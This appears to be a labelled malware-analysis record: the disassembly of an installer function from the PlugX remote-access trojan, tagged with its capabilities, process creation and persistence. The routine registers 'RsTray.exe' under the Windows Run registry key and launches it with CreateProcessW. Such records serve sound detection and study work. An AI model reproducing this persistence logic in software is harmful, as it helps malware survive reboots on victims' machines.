Function at 0x10007520
Capabilities:
Create process on windows
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov edx, 0xde
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
push esi
push 0
call fcn.10024152
add esp, 4
call fcn.100077c0
mov esi, eax
test esi, esi
je 0x10007560
push esi
mov edx, 0xe2
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
cmp dword [0x1002d3d8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
jne 0x100075a9
push 0x1994
call fcn.1002422e
add esp, 4
test eax, eax
je 0x100075a2
mov dword [eax + 0x1990], 0
jmp 0x100075a4
xor eax, eax
mov dword [0x1002d3d8], eax
cmp word [0x10030354], 0
jne 0x10007603
push 0
mov edx, 0x38
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.h
call fcn.10024152
add esp, 4
cmp word [0x10030354], 0
jne 0x10007603
push 0
mov edx, 0x39
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.h
call fcn.10024152
add esp, 4
cmp word [0x10030354], 0
jne 0x10007603
push 0
mov edx, 0x3a
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.h
call fcn.10024152
add esp, 4
mov edx, 0x10030354
lea ecx, [ebp - 0x10]
call fcn.1001b5b0
test eax, eax
je 0x10007628
push 0
mov edx, 0xe9
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
cdq
sub eax, edx
sar eax, 1
cmp word [ecx + eax*2 - 2], 0x5c
je 0x10007662
push 2
push 0x10028918
lea ecx, [ebp - 0x10]
call fcn.100066e0
test eax, eax
je 0x10007662
push 0
mov edx, 0xfc
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
push str.RsTray.exe
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
lea ecx, [ebp - 0x10]
push eax
push str.RsTray.exe
call fcn.100066e0
test eax, eax
je 0x10007695
push 0
mov edx, 0xee
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
cmp dword [0x1002d3d8], 0
jne 0x100076c2
push 0x1994
call fcn.1002422e
add esp, 4
test eax, eax
je 0x100076bb
mov dword [eax + 0x1990], 0
jmp 0x100076bd
xor eax, eax
mov dword [0x1002d3d8], eax
push 1
push dword [ebp - 0x10]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov ecx, bind
push dword [ebp - 4]
push 0x10030554
call fcn.1001bb10
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100076ff
push esi
mov edx, 0xf3
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
jmp 0x100077a7
push 0x44
xor edx, edx
lea ecx, [ebp - 0x68]
call fcn.100242ad
add esp, 4
mov dword [ebp - 0x68], 0x44
xor eax, eax
mov dword [ebp - 0x3c], 1
xor edx, edx
mov word [ebp - 0x38], ax
lea ecx, [ebp - 0x20]
push 0x10
call fcn.100242ad
add esp, 4
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 4]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x10007771
push eax
mov edx, 0x104
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x100077a7
cmp dword [ebp - 0x20], 0
jne 0x1000778b
push 0
mov edx, 0x109
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
cmp dword [ebp - 0x1c], 0
jne 0x100077a5
push 0
mov edx, 0x10e
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
xor esi, esi
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x100077b9
push 1
push eax
call fcn.10027bcc
add esp, 8
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret